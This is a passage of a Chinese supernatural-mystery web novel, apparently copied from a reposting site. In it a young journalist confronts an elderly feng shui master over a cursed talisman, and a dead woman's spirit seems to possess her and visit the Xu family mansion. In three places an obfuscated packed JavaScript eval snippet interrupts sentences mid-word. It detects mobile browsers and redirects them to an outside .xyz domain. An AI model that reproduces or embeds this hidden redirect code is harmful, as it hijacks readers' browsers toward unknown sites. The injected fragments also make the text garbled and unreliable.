颜珺瑶怔怔地看着桌上的另一张黄符,这一张是从汤爷爷第一次给她的那个万福万寿的荷包里取出来的,她还记得当时汤爷爷还嘱咐这张一定是要放在家里的,她听话照做了。 幸亏她听话照做了,否则她就真的连累了爸妈。 严婆婆说的很有道理,汤爷爷确实是利用了她,但她始终不相信汤爷爷会真的想害她,想要她的命。 严婆婆建议她在这里把符纸直接处理,但她最后还是带走了这张符纸,没有烧掉。 她先回了一趟爸妈家,还了车,又把万福万寿的荷包放回了原处,之后回到了出租房。 坐在桌前,她一直看着如意纹的荷包,最后将它放到了抽屉里,从包里摸出了另一个荷包,这是她再次网购的,里面放着严婆婆第二次给她的平安符。 * 这一两天,张熙杰一直在纠结着要不要问爷爷关于施晓梦和许家的事情,但每次看到爷爷病弱的身体,他就开不了口。 而且爷爷这两天不愿意住院,想回家去。父亲劝说不住,却也没有随意顺从,只能各退一步,最后让爷爷在他的住处住两天。 张熙杰本来打算等爷爷动完手术之后再问,但现在小老头闹脾气,他担心爷爷会不会真的不愿意动手术了。 晚饭过后,父母陪爷爷到小区楼下散散步,张熙杰突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176380|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接到了一个意想不到的电话,是一个许久没联系的人打来的。 看着手机屏幕上面的名字,他好一会儿才反应过来是谁,是姐姐生前在公司的一个关系比较好的同事,齐昕冉。 当时除了姐姐的日记本之外,她也私底下告诉了他们家人,庞依娜和马茜茜两人仗着和主管的关系好,经常欺负姐姐,甚至表示如果以后需要证人,她愿意。 电话接通,就听那头的齐昕冉有些激动。 “熙杰,你知道吗?今天公司突然在内部系统里通知了你姐的事情,说你姐是冤枉的,实际上是庞依娜和马茜茜的工作过失,还有那个孙鸣。真是老天开眼了!” 张熙杰觉得奇怪,“为什么会突然通报这件事情?” 难道是——孙鸣做的?但他这么有本事吗?能说服公司高层做出这样的决定?不,那个怂货应该没有,否则他找过来的时候,不会是那副德行。 齐昕冉回道:“听说是孙鸣主动跟领导承认了当时的事情,应该是被那两个贱人的死吓到了,所以不敢再昧着良心。” 真是孙鸣办成的? 张熙杰想起自己家当时和孙鸣提的要求的是,必须公司内部通报,官网也要通报。 于是问道:“那公司官网有吗?” “没有,我去确认过了,估计是因为庞依娜和马茜茜都已经死了,官网是对外开放的,要是被她们的家人看到,必然又要闹开。她们俩的爸妈,你是不知道有多么难缠,多么无理取闹,难道能培养出这样的女儿。 当初庞依娜死在自己家里,而且还是在周末,但她爸妈还是要公司赔偿。还有马茜茜,是主动离职的,都快一年了,也是在自己家里没的,她爸妈居然还能闹到前公司,舔着脸想要赔偿。” * 结束通话,张熙杰就收到齐昕冉发来的一张图片,是公司内部系统一份通报的截图。 他觉得这不是孙鸣做的。 因为距离孙鸣找自己家人已经两个月了,他的那个什么亲戚,公司任副总,要是真的能帮他,早就通报了,何必等到现在,而且孙鸣还一定会第一时间联系他们家,又要上演一把鼻涕一把泪的戏码。 他莫名地想到了一个人,许修远。 他能看出来许修远是喜欢上颜珺瑶了,两人也挺熟悉的,会不会是珺瑶无意间把姐姐的事情跟许修远说了? 不多时,爷爷和爸妈都回来了。 张熙杰就把这件事告诉了他们,张月竹突然痛哭了起来。 “迟到了这么久的公道,有什么用,我的小欣也回不来了。” 汤明山冷哼了一声,什么都没说,回了房间。 * 翌日办公室。 颜珺瑶从张熙杰那里得知了瑜欣姐的事情之后,很是惊讶,同样觉得奇怪。 “怎么现在突然通报这件事情,那两个人都死了。” 张熙杰定定地看了她好一会儿,突然说道:“珺瑶,H市的那家公司是许氏集团旗下的一家分公司。” 颜珺瑶眼睛一下子瞪圆了,居然是许家的公司?! 她还记得当时瑜欣姐出事时,她还在外地上大学,具体情况都是在赶回来参加葬礼时,张熙杰跟她说的。如果现在张熙杰没告诉她,她还真的不知道,那家公司和许家有关。 “我觉得——应该是许修远看在你的面子上,专门去了解了姐姐的事情。” 颜珺瑶眨了眨眼,脱口而出道:“可他怎么会知道瑜欣姐在哪个公司上班呢?” 张熙杰淡淡地扯了一下唇角,“许家的人,想要调查什么,还不简单?” 好像有点道理。 颜珺瑶想了想,许修远应该是调查过自己,就是自己和他刚认识的时候。 可他又怎么会调查出来瑜欣姐的事情呢?自己昨天中午才跟他提了一嘴这件事,那张截图上可以显示,是下午三点多分公司就出了这个公告。 就算是他看在她的面子上,也不可能这么短的时候就把事情调查清楚。 除非他早就知道这件事了—— 如果是这样的话,那他就是有可能调查过张熙杰家里的情况,可他为什么调查张熙杰家里呢? 她一惊,难道是——他也开始怀疑汤爷爷了? 怎么会?他是怎么怀疑到汤爷爷身上的呢? 颜珺瑶一下子慌了神,忙问:“汤爷爷什么时候动手术呢?” 张熙杰无奈地摇摇头,“小老头这几天回家了,不愿意在医院呆着,说是要把手术推迟,可能是担心手术。” 63. 第 63 章 张熙杰万万没想到,许修远居然会主动联系他,想和他见一面,而且还想请他帮忙。 他虽然不知道自己能帮上许修远什么,但他答应了。 两人在一家茶楼见面,张熙杰自然没心思品茶,一进包间坐下,就直接开口问许修远:“不知道许总找我,是为了什么事呢? 许修远把一份资料推到他面前,请他先看一看。 张熙杰莫名有些厌烦,讨厌许修远一副似乎永远都沉得住的模样,也不知道今天这一出葫芦里到底卖的什么药。 他狐疑地翻开大致扫了一眼,倏地抬眸看向男主,正色道:“许总这是什么意思?不妨直说。” 许修远神色认真道:“实不相瞒,我家里最近遇到了一些不太对劲的事情,一直没法处理,之前请的先生就推荐了汤老先生。其实之前找过汤老先生,但老先生以身体不适为由婉拒了。我希望汤老先生手术成功之后,如果方便的话,可以给予适当的指导。 荣亿医生是汤老先生这个病的权威,由他来给汤老先生动手术,把握应该会更大,希望你可以好好考虑一下。” 不得不承认,张熙杰动心了。 他是知道荣亿医生的,但荣医生好几年前就出国了。但即使在国内,他们家也很难能请到这样的大拿。 他忍不住问道:“许总家里,什么样的高人请不到?为什么要把宝压在我爷爷身上?如果他也处理不了你家里的事情呢?你的这番心血可就泡汤了!” “家里已经找了几位所谓的大师高人,但问题还是没解决。如果汤老先生最终也解决不了,那我也不会怪汤老先生,就算是交了朋友。 张先生可以回去好好考虑一下,如果想好了,可以联系我,张先生有我的联系方式。” 张熙杰合上文件夹,默了片刻,而后问道:“所以——许总是代表许老先生请我爷爷的,还是代表自己?许老先生同意请我爷爷帮忙吗?” 许修远看向他,“第一次想请汤老先生帮忙,就是我爷爷的意思,是毕文启老先生推荐的。汤老先生大隐隐于市,如果不是毕老先生,我们家也没有机会得知汤老先生。” “许老先生第一次联系我爷爷,是什么时候?” 许修远想了想,“应该快二十天了。” 张熙杰低头不语,“我需要回去和我爷爷商量一下,要他愿意才可以。” “非常感谢。” 张熙杰蓦地又想起一件事,“我姐姐的事情——是你让人重新调查的?” 许修远惋惜地叹了口气,“很抱歉,之前一直不知道这件事,前段时间才无意中得知的。这也是我今天找张先生见面的第二件事——” 说着,他将手边的另一份文件夹又放到了张熙杰面前,“当初陷害张瑜欣女士的三名员工,庞依娜和马茜茜已经离世,孙鸣也在几个月之前主动离职,不过许氏集团旗下的所有公司都不会再录用此人,包庇他的副总也已经被辞退,同样永不再录用。分公司管理不善造成这样的事情,总公司也有责任,许家难辞其咎。” 张熙杰眼眶瞬间发红,用力地合上文件夹,深吸了一口气才道:“那两个女的死了活该。” 许修远又将一张银行卡推到张熙杰面前,张熙杰皱眉看向他。 许修远解释道:“我知道生命是不能用钱来衡量,但这是许家的一点补偿,希望能略表歉意。” 最终张熙杰没收。 * 八点多下班,颜珺瑶顾不上吃饭,一关上门,第一时间拨通了爷爷的电话。 颜丙文接到她的电话很是开心,聊了几句之后,颜珺瑶把话题引到汤明山身上,进入了正题。 “我前几天去看了汤爷爷,汤爷爷还是很瘦,气色也不太好。今天熙杰说汤爷爷不乐意一直待在医院,昨天晚上就回他那边了。” 颜丙文深深地叹了口气,“哎,难为他了,一把年纪了天天住在医院,多不自在,肯定心情没法好。那他手术时间确定了吗?” “熙杰说还没定,汤爷爷这几天情绪有些消极,就一直想回老家。” “回头我得给他打个电话,好好劝劝他,心态是要影响身体恢复的,这样怎么能行呢!” “嗯,您好好劝劝他,对了,爷爷——”颜珺瑶自知这个过渡相当不丝滑,于是尴尬地轻咳了一声,“汤爷爷住院,这段时间怎么都没见有其他亲戚去看望他呢?” “咳,他其实不是咱们这儿的人,所以除了他的家人,确实没有其他亲戚。” “那汤爷爷是从哪里搬到咱们村的,又是什么时候就搬过来了呢?” 颜丙文想了想,“老汤应该不到二十岁就搬过来了,他说自己是孤儿,靠着吃百家饭长大的,打听到他亲生父亲以前可能在这里待过,所以就决定在我们村定居,不过他一直都没找到亲生爹娘,挺可怜的。” “您还记得汤爷爷刚来的时候,说话口音是哪里的吗?” 颜丙文愣了下,“哎呦,时间好久喽,还真的记不得。不过老汤刚来的时候口音确实不像咱们镇这边的,但也不像外省的,反正肯定是咱们市的,估计就是周边这几个县吧,他自己说的是从隔壁市过来的,有可能是两市交界的地方。” “您有没有觉得他有什么——比较奇怪,或是——不一样的地方呢?” 爷爷琢磨了好半晌,“比较奇怪?应该没什么奇怪的地方,不过他蛮有本事的,当时我们都很佩服他,一个孤儿,能学了一手那么好的木工手艺,还懂风水,阴阳五行的,又有文化,小时候一定是吃了很多苦。 真要说什么奇怪的地方,那就是他们家孩子都跟孩子妈姓。他的第一个孩子刚生出来,大家就逗知道孩子不是跟他姓,村里还有不少人说闲话,说他不是上门女婿,却硬要做倒插门。但后来发现他第二个孩子还是跟妈姓,大家也就见怪不怪了。他的孙子孙女可不也是跟着孩子妈姓的嘛,不过跟谁姓也没什么大不了的,反正孩子是亲生的。” 颜珺瑶更加确定汤爷应该爷就是沈新柔的亲人,沈新柔本姓施,如果是侄子的话,男二爷爷应该也是姓施,但如果随母姓呢?或者是外甥?弟弟? 很多种可能性。 她有些疑惑,汤爷爷离开家乡,搬到这里定居下来,为的就是有朝一日报仇,但他的父母呢? 就算当时父母真的都已经离世,这么多年汤爷爷难道都不回去扫墓祭拜吗? “那汤爷爷这么多年清明节前后回过他以前的来家吗?” 颜丙文笑了笑,“他时不时就会被请去帮忙,经常出门,我倒是问过他,他说不回去,在这里待习惯了,这里才是真正的老家。” 她想了想,要是她没记错的话,今年清明节那次放假,汤爷爷是在家里的,可有些人扫墓不一定都会选清明节假期。 “哎,你今天怎么突然问这么多老汤的事情?” 颜珺瑶早就想好了理由,佯装自己打算做几期特别节目,专门介绍传统文化的,第一个就想采访汤爷爷。很多年轻人对风水之类的都很感兴趣,所以先提前多了解一下汤爷爷的身世。 颜丙文“嗯”了一声,“前两天小杰回来了一趟,也跟我聊了两句。” 颜珺瑶忍不住问道:“爷爷,他有没有跟你打听咱们家是否有姓施的亲戚?” 颜丙文愣了下,随即笑呵呵道:“给你猜着了,你们是在调查什么吗?” 颜珺瑶再次支吾了过去,而后又问:“爷爷,我还有一个问题想问您,您——别生气啊——” “你问。” “就是——”颜珺瑶吞吞吐吐,“就是——我奶她——是外曾祖母——亲生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186364|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 其实她已经有了答案,但还是想再确认一遍。 颜丙文吃惊地“啊”了一声,可能是完全没想到孙女突然会问这个问题,而后哈哈大笑起来。 “当然是亲生的,你怎么突然问起这个?” 颜珺瑶又瞎编了一个理由,“没啥,就是——就是觉得我奶比我舅爷好看多了,突然有些好奇。您可别告诉我奶,我怕她生气。” 颜丙文再次朗声笑起来,“你奶奶的姐姐嫁的比较远,所以你没见过,她们姐妹俩长得还蛮像的,随你奶的妈,你舅爷随了爸。你奶年轻时还常开玩笑,幸好她和她姐是随了妈,至于你舅爷,男孩子长得普通点也不打紧,能干活赚钱,就能娶着媳妇儿。” 和爷爷聊完之后,颜珺瑶陷入了沉思。 根据自己对家里往上几辈人的了解,她似乎就不可能和沈新柔有什么血缘关系。 自己这张脸,还真的只是凑巧和沈新柔长得像。 她现在基本上确认了,幕后的人就是汤爷爷。可现在汤爷爷病重了,自己该怎么做呢? 而且她觉得许修远似乎已经对汤爷爷起疑了,如果他确认了汤爷爷就是幕后的人,他会做什么?他的爷爷又会做什么呢? 颜珺瑶真的不敢想! * 汤明山在儿子郑贺今的哀求下,就差给他下跪了,他终于妥协,回到了医院。 但条件是晚上不需要人陪着,家里人只好顺着他。 晚上,张熙杰回到家里,和家里人说了荣亿医生的事情。 父母都很兴奋,但又很快反应过来这位荣亿医生可是不容易请到的,夫妻俩双双好奇地看着儿子。 张熙杰抬眸,瞥了眼父亲,“许家帮忙的。” 果然不出他所料,父亲的神色一下子就变了,“许家?许家为什么会帮忙?” 张月竹却很困惑,“小杰,许佳是谁?你朋友吗?” 张熙杰看着父亲,笑道:“爸,看来您也听说过许家。许家是咱们市数一数二的大家族,世代富庶,根深蒂固。不算是朋友,只是和许修远凑巧认识。” 郑贺今不自然地轻咳一声,“之前听说过。” 张月竹有些不踏实,“既然只是认识而已,那许家的人为什么会帮忙?没有无缘无故的好——” 张熙杰这才解释道:“许家人遇到些事情,有求于爷爷,之前爷爷以身体为由拒绝了,他们希望等爷爷身体恢复了之后可以帮忙。” 张月竹了然,“这样啊,那很好啊,这荣亿医生可是权威,老爷子的病就更有把握了!” 郑贺今却突然说道:“这事——还得跟你爷爷商量一下才好。” 张熙杰点头,“我知道,我待会儿去医院跟爷爷说。” * 一个小时后,张熙杰驱车来到了医院,言简意赅地把事情地跟爷爷说了。 但汤明山却直接拒绝,不带一丝犹豫。 “我现在年纪大了,力不从心,很多事情都没法处理。” 张熙杰不解,“许修远说了,即使之后您没能处理好他们家的事情,他们也不会怪您的。” “孩子,实话告诉你,我给自己算过了,这么大的恩情我无福消受。勉强接受,反而会害了自己。” 张熙杰不相信爷爷说的这句话,张口想要问他和许家到底有什么关系,但一看到爷爷的病容,又把话咽了回去。 话锋一转,又把许修远重新调查姐姐的事情说了出来。 “爷爷,万事以身体为主,不要急于拒绝,这样的机会很难得。” 汤明山听了却是一愣,沉默了下来。 许修远怎么会突然知道瑜欣的那件事? 看来,他有可能是调查过他了。 这孩子——难道是开始怀疑他了? 64. 第 64 章 颜珺瑶有些头疼,许忠林又给她打了电话,想请她去老宅一趟。 并且表示如果她不放心的话,他也会把许修远叫上。 果然被许修远说中了,他确实了解自己爷爷啊! 颜珺瑶对许忠林有些发怵,这老爷子狠起来是真的狠。 她只能以工作为由,委婉地拒绝了,但她低估了许忠林的耐心。 下午,颜珺瑶正对着电脑屏幕,修改自己的稿子。 王宇阳匆匆忙忙地从他的办公室出来,径直来到颜珺瑶身后,敲了下她的桌子,满脸焦急道:“跟我走,快!” “……” 不等颜珺瑶问清楚,王宇阳就脚步匆匆地往门口走出。 她稍一迟疑,王宇阳回头又催促了一声,颜珺瑶没法,这才拿着包跟上。 直到下了楼,小跑着来到停车场,她才有机会问到底要去哪里。 王宇阳只扔下了两个字“采访”,就立刻钻进了车子。 “……” 颜珺瑶还愣在原地,王宇阳不悦地从驾驶位车窗探出头,“傻站着干什么,不会卖了你的,上车。” 车子驶入大道,颜珺瑶看了王宇阳一眼,这架势,她还真的担心他把自己给卖了。 她忍不住道:“主任,到底要采访谁?我一点准备都没有。” 王宇阳这才解释:“今天不是正式采访,算是先见一面,熟悉一下。” “对方是何方神圣呢?” 王宇阳不耐烦地“啧”了一声,“算是个大人物,好不容易赏脸答应的,你先安静会儿,我得边开车边准备待会儿跟他说什么,别吵我啊,安全要紧呀!” “……那您带我去干嘛呢?” “你怎么这么多问题呢,肯定是看你机灵啊,江成经常在我面前夸你,到时候你见事行事,给对方留个好印象,这可是台里大领导派下来的任务,跟明年的招商可有关系呀!” 王宇阳瞥了一眼内视镜,很快移开视线,咽了咽口水,“所以别吵我啊,我需要安静!” 颜珺瑶:“……” 她忍了。 * 见面地点是市中心的一家中式餐厅。 颜珺瑶跟着王宇阳进了二楼的一个包间,刚坐下没一会儿,门就被推开了。 两人下意识地站了起来,颜珺瑶刚想展露笑容,下一秒她却目瞪口呆。 从门外进来的竟然是许忠林,身后还跟着一位陌生的中年男人,但不是那位宗叔。 颜珺瑶一下子就明白过来了,下意识地去查看手机的信号。 万幸,信号没有被屏蔽,而且这次是在二楼。 看来许忠林还是有所顾虑的。 她瞪了一旁的王宇阳一眼,对方明显心虚,不敢和她目光相碰。 颜珺瑶直接哑住了,面色有些发白。 坐下之后,她一言不发,听着王宇阳和许忠林热情地套近乎。心里鄙视他,王宇阳个贱人,没想到啊,你竟然还有这么狗腿子的时候。你自己巴结讨好也就算了,怎么还连她都给算计上了? 拿她来做人情?你个贱人! 王宇阳偶尔瞥她一眼,大概是不满她不仅没个笑脸,还一个字都不说。她没空搭理他,她的注意力在对面两个人身上。 那个中年男人和她一样,一直都没主动说话,她能感觉到对方时不时就在打量自己。 她有些怀疑,这人会不会就是许修远所说的那个从港城请来的大师。 想了想,为保万一,她还是拿出手机,打开微信,给许修远发送了定位。 许修远没有回复,但没关系,只要他收到了这条信息就可以。 如果她再次失踪,那么他就可以以这里为线索,找到她的所在,而且以他对许忠林的了解,肯定很快就能找到她。 如果她今天平安离开这里,那就没事了,只说自己发错信息了就可以。 王宇阳和许忠林“热络”地聊着,不到十分钟,王宇阳突然说了声抱歉,离开包间去了洗手间。 颜珺瑶知道这个贱人肯定是和许忠林提前说好了,故意找借口离开,让许忠林有机会和她单独谈话,她深吸了一口气,现在最重要的是必须冷静下来。 即将要有一场硬仗要打。 和她想的一样,王宇阳前脚刚出去,许忠林就看了一眼一旁的那个中年男人,后者很快也出去了。 颜珺瑶先发制人,语气并不太好,“许老先生利用我们主任,用这种手段把我叫过来,想和我谈什么?还想把我关起来吗?” 许忠林对于她的怒气丝毫不介意,笑道:“颜小姐不必紧张,上次的事是我考虑不周,让颜小姐受委屈了。修远和我说了,颜小姐托他把钱还给我。颜小姐性情纯良——” 颜珺瑶打断他的话,“你说错了,我并不善良,我就是个自私的人,我不想戴这顶高帽。” 许忠林也不恼她打断自己的话,继续笑着说道:“颜小姐自谦了,修远很信任你,对你的评价很高。” 颜珺瑶突然问道:“许老先生,许薇萍想要的项链,你帮她找到了吗?” 许忠林盯着她看了片刻,不答反问:“这几天许薇萍又找上颜小姐了?” “没有,自从那天离开别墅之后,她们母女就再也没有找过我。” 颜珺瑶顿了下,再次重复:“那条项链,许老先生找到了吗?” “看得出来颜小姐很怜悯她们母女。” “我只是不想看到再有人出事,不过我知道我没有资格说这句话,但我有资格拒绝参与许家的事。 许忠林的笑容依旧慈祥,”颜先生在中医院治病救人,同时又在中医学院任教,钱女士多年教书育人。你外婆陈柳琳女士也是教了一辈子的书,钱老先生又是我们市数一数二的老中医,虽然退休了,但还是不辞辛劳愿意接待那些上门求药的人,就算对方给不起药钱,钱老先生也愿意帮忙救治。 这样的家世背景,颜小姐不可能是个自私无情的人,会同情她们母女也实属人之常情,毕竟她们的事乍听起来确实似乎值得怜悯。” 颜珺瑶面色一沉,许忠林的这番话,绝不是在夸她,而是在拿家人威胁她。 她额角一紧,“你希望我做些什么?再帮你把她们母女引出来吗?上次已经试过了,她们不会再上当的。” 许忠林状似认同地点点头,“颜小姐说得在理。只是,我想问一下颜小姐,你真的觉得只要满足了她们母女的要求,她们就不会再做什么了吗? 颜小姐觉得她们母女可怜,但在我眼里,她们一点都不值得同情。她们害死了我的两个孩子,修远的大伯和他的父亲何其无辜,他们和当年的事情没有任何关系,甚至都不知道那些事,可沈新柔和许薇萍却害死了我的两个孩子。颜小姐还没成家生子,根本不能体会我的感受。现在我只有修远一个血脉,我决不能让他再出事。 所以我恳求颜小姐,能最后帮我们许家一次,即使最后没有结果,你也是我们许家的大恩人。 我向你保证,这一次绝对会尊重你的意思,有任何安排也会提前跟你商量,只要你不同意,绝不勉强,到时候我会让修远在一旁全程陪着。” 颜珺瑶放在腿上的双手紧紧地攥在一起,垂着眼眸,低头不语。 她真的有点动摇了。 许忠林的脸上闪过一丝笑意,“我不勉强颜小姐,不过还是希望颜小姐能好好考虑一下,拜托了。” * 傍晚下班后,颜珺瑶带着水果去了医院。 她到汤明山的病房时,正好只有他一个人在,觉得这是一个可以好好聊一聊的机会。 寒暄过后,颜珺瑶抿抿唇,迟疑了良久,才问道:“汤爷爷,熙杰说您不愿意做手术,是因为许家吗?” 汤明山面色不动,但心里却是一惊,瞥了颜珺瑶一眼。 这孩子似乎也知道了什么? “呵呵,我给自己算过了,动手术也只是遭罪而已,想着让自己最后的时间好过一些。” 话音落下,颜珺瑶沉默了好半晌,深深叹了口气才开口。 “汤爷爷,我知道沈新柔和许薇萍了。” 汤明山试图装糊涂,“这两人是谁?” 颜珺瑶不想绕弯子,直接说道:“汤爷爷,沈新柔是您的亲人,她年轻时和许天佑相爱,进了许家,之后生了许薇萍。这些,您一定比我清楚。” 汤明山继续否认,“孩子,你提到的这几个人我都不知道是谁,想必你是弄错了。” 颜珺瑶只好把把处理过的监控片段给他看,“汤爷爷,在许耀中出车祸当天,您就在现场。” 汤明山还是不为所动,“那天我确实在附近,看到出了事,老头子瞧瞧热闹而已。” “汤爷爷,我能查到,许家人迟早也会查到您身上的。您还有熙杰,还有郑叔叔,张阿姨,将来熙杰还会结婚生子。”颜珺瑶心急如焚。 汤明山眼神微动,笑道:“如果有人怀疑我害死了人,就去报警,让警察来抓我,如果真的是我,法律自然就会制裁我。” 颜珺瑶从包里拿出那个如意纹的荷包,递到汤明山面前。 “汤爷爷,您给我的这个荷包里的平安符,其实是招阴符,对吗?我知道您不会真的想害我,只是想让沈新柔和许薇萍能顺利借用我的身体,利用我这张脸让许修远的爷爷感到害怕。如果您,或者是沈新柔,许薇萍对许家有什么要求,想要通过我来转达,我不会拒绝。” 汤明山瞳孔一震,垂下了眼睛。 颜珺瑶继续说道:“我不怪您,我今天来找您,只是希望施家和许家此后不再有任何人因为这件事发生不幸。 我相信您没有把事情告诉熙杰,但他现在一定知道了什么。如果卷入这件事情里,对他来说并不是好事。许修远对施家有愧意,想以平和的方式解决这件事,希望能终于这延续了几十年的恩怨纠葛,但未必许家其他人和他一样。 我是小辈,本没有资格要求您什么,但我知道您这个行业的人,用这些本事害人会反噬自身,甚至祸及子孙,您一定不愿意看到这样的情况。我和熙杰还有瑜欣姐从小一起长大,希望您和家人此后都能平平安安的,相信瑜欣姐也一定是这么想的。” 汤明山脸颊抽动,一直没说话,垂着眼,也不看颜珺瑶,不知道在想什么。 “汤爷爷,希望您好好考虑!” 说完之后,颜珺瑶就告辞离开了病房。 * 令张熙杰没想到的是,齐昕冉突然从H市过来找他,表示想看望一下叔叔阿姨。 于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张熙杰忍不住在病床前发了脾气,父亲赶紧把他拉走了,让他回家去。 回到家之后,张熙杰一直睡不着,在床上翻来覆去。 十二点多时,他突然听到外面传来父母慌乱的动静,于是立马出了房间询问情况。 郑贺今一脸愁云,“护士打电话说你爷爷离开了病房,有好一会儿没回去。我给你爷爷打过电话,他倒是接了电话,只说在楼下散散心,让我不要担心。老爷子说是这么说,我还是想去看一下才安心。” “爸,我去吧,你和我妈好好休息。” 张熙杰的车子快到医院时,他给护士站打了电话,得知爷爷已经回房了,心上的大石头也落回了肚子里,真正放了心。 却不曾想,等到车子拐进医院的时候,他突然看见了一个熟悉的身影。 他不会认错,就是颜珺瑶。 “珺瑶——” 他赶紧下了车,叫住了颜珺瑶。 只见颜珺瑶外面穿着一件薄长款的风衣,里头似乎是穿着旗袍,因为裙子露在风衣下方的部分是开叉的。 他的第一反应是,珺瑶这样穿不热吗?现在还是夏季,即使是深夜,也不会凉快到哪里去。 不仅如此,颜珺瑶绾着长发,还插着一个发簪,脚上穿着一双高跟鞋,在昏暗的灯光下熠熠生光。 这打扮,很漂亮,但就是——说不上来的奇怪。 颜珺瑶听到有人叫“珺瑶”,回身看了过来,愣了一下,“小杰!” 小杰? 张熙杰顿住了步子,神色狐疑地看着颜珺瑶,似乎有些不认识面前这个从小一起长大的人了。 “你——” 颜珺瑶右眉微微一动,笑道:“熙杰,你怎么这么晚过来了?” “我过来看看我爷爷,你怎么也这么晚过来?是——哪里不舒服吗?” “我挺好的,就先走了,你去看你爷爷吧!” 说完,颜珺瑶转身就走,张熙杰却拉住她的胳膊,“我送你回去。” 颜珺瑶拍拍他的手背,“放心吧,我不会有事的。” 张熙杰赶紧说道:“太晚了,打车不安全,我先送你回去。” 说着就要拉着她往停车的地方去。 颜珺瑶用力地抽回自己的胳膊,语气严肃道:“我说了,我自己回去,你赶紧上去。” 话音落下,径直往前走去。 张熙杰盯着她的背影,只觉得她今晚说不上来的陌生,甚至有一丝诡异。 她看自己的眼神,居然带着几分——慈爱。 对,就是长辈对晚辈的那种慈爱。 而且,今晚她的脾气—— 她怎么呢? 眼见着颜珺瑶就要走到医院大门口,张熙杰赶紧上车,不远不近的跟在她身后。 就见她出了医院大门,很快就上了一辆停在那里的出租车,像是专门等她的。 * 时间很晚,路上车子不多,张熙杰不敢跟的太近,但他很快发现颜珺瑶不是打算回她爸妈那里,也不是打算回她的出租房。 她这是要去哪里? 他耐心地跟着,很快就有了答案,因为前面那辆出租车拐进了东湖路。 张熙杰震惊不已,这么晚,她那副精致的打扮,难道是要去许家老宅? 她找谁?许修远还是许忠林? 就在张熙杰的车子跟着拐进东湖路,快要到达那栋许家老宅时,前面的那辆的士车突然停了下来,颜珺瑶从车上下来,但却径直往他这里走来。 65. 第 65 章 司机瞧了好几眼后视镜,最后忍不住对后座上的这位冷脸美女说道:“姑娘,后面那辆车子一直跟着——” 颜珺瑶眉心微蹙,扭头看了一眼,而后让司机停了车,给了司机两百块钱。 司机一愣,“不用这么多,要是没零钱,扫码也行。” 她轻笑一声,“不用找了,谢谢。” 下车后,颜珺瑶施施然走到张熙杰车前,敲了敲他的车窗。 张熙杰叹了口气,也跟着下了车,解释道:“我是不放心你一个人打车,可你怎么来这里——” 颜珺瑶的脸上一丝笑意都没有,冷冷地打断他的话,“回去,谁让你跟来的?赶紧回去。” 张熙杰的目光在她脸上逡巡良久,“你今晚怎么呢?你到这里来做什么?是不是许家人威胁你了?” 颜珺瑶的红唇缓缓勾起笑意,可说出来的话却寒意十足,“他们威胁我?威胁我什么?放心吧,我好得很!所以你现在赶紧回去!” 张熙杰就是不走,紧紧抓着她的胳膊,克制着声音道:“之前那次,许家老头是不是欺负你了?是不是?” 颜珺瑶把他的手拽开,“他们欺负不了我,你现在赶紧给我回去,别耽误我的时间,耽误时间越久,伤害越大。” 张熙杰仍是不走,“我陪你进去,或是我在这里等你,这样——” 颜珺瑶不想再劝,拿出手机,直接拨通汤明山的电话,只说了一句:“熙杰一直跟着我。” 而后就把手机递了过去,“接,你爷爷有话跟你说。” “…… 张熙杰莫名地接了过来,爷爷在手机那头怒声让他赶紧回去,否则他明天就出院,直接回老家。 他觉得头疼不已,脸颊不禁微微抽动,没有办法,只好答应了。 在把手机还给颜珺瑶之后,在她的注视下,上车,转弯,离开了东湖路。 * 站在这既熟悉又陌生的大门外,她突然回想起自己第一次进到这里时的情景。 那一天,眼光正好,她穿着自己最喜欢的那身浅色旗袍,许君平牵着她的手从车上下来,院子里有好几个下人正在忙碌,都纷纷好奇地看着她。其中一个十三四的小丫头,梳着一条大辫子,歪头朝自己笑了。 云兰是这偌大的宅子里,第一个对她释放善意的人,也是这吃人的牢笼里,最后一个愿意帮自己的人。 她帮自己偷偷送出了最后的那封信,也让自己临死之前得知了真相,可自己却再也没有机会当面感谢她。 云兰,小云兰,谢谢你帮了我,让我有机会再次回到这里。 颜珺瑶按响了门铃,好一会儿,才听到立柱上的门铃里传来一个低沉温和的中年男人的嗓音以及略显急促的呼吸声。 对方控制着音量,“请问是哪位?” 沈新柔笑起来,对着门铃说道:“我找许忠林。” 门铃里传来的呼吸声倏地停了,熟悉的年轻女声,让宗叔一下子僵在了原地,双手不自觉地微微颤抖起来。 这不是颜小姐,她不可能这么晚会过来。除非—— 咽了咽口水,他忐忑不安地再次问道:“你——是谁?” 沈新柔突然笑起来,柔声道:“你给我开门看看不就知道了?还是要我给二少爷打个电话,让他亲自下来给我开门,你说好吗?” 虽然三楼那个房间一直以来都是他亲自打扫的,但今天这还是他第一次接触那个房间真正的主人。 沈新柔。 宗叔的声音有了明显的惊慌,压都压不住。 “……你——稍等——” 他立马转身,三步并作两步地跑了起来,因为心慌,差点把自己给绊倒了,幸好被及时跑过来的许修远给扶住了。 许修远刚入睡没多久,迷迷糊糊中听到外面似乎有动静,于是便出了房间想看看是什么情况。 